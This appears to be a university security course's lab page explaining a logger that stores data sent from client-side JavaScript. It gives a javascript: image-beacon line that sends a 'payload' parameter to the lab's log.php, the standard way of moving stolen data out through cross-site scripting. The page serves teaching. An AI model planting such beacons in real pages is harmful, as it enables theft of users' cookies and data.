You can use this server side script to store automated log data from client-side JavaScript. For example, clicking this client-side hyperlink will cause data to be stored on our web server (dasak.csc.kth.se). It will be accessible here.
javascript:void((new Image()).src='http://dasak-vm-lab-server.eecs.kth.se/logger/log.php?' + 'to=' + '&payload=' + '&random=' + Math.random());
The random argument is ignored, but ensures that the browser
bypasses its cache when downloading the image. We suggest that you use
the random argument in your scripts as well. Newlines are not allowed
in javascript: links; if this bothers you, try
URL encoding.
The void(...);
construct prevents the browser from
navigating to a new page consisting of the contents
of the expression (which is what it normally does when it encounters a
non-void expression like javascript:2+2
).
If you just want to try out the script, you can use this form. (For the programming project, you'll probably want to use the JavaScript image technique shown above.)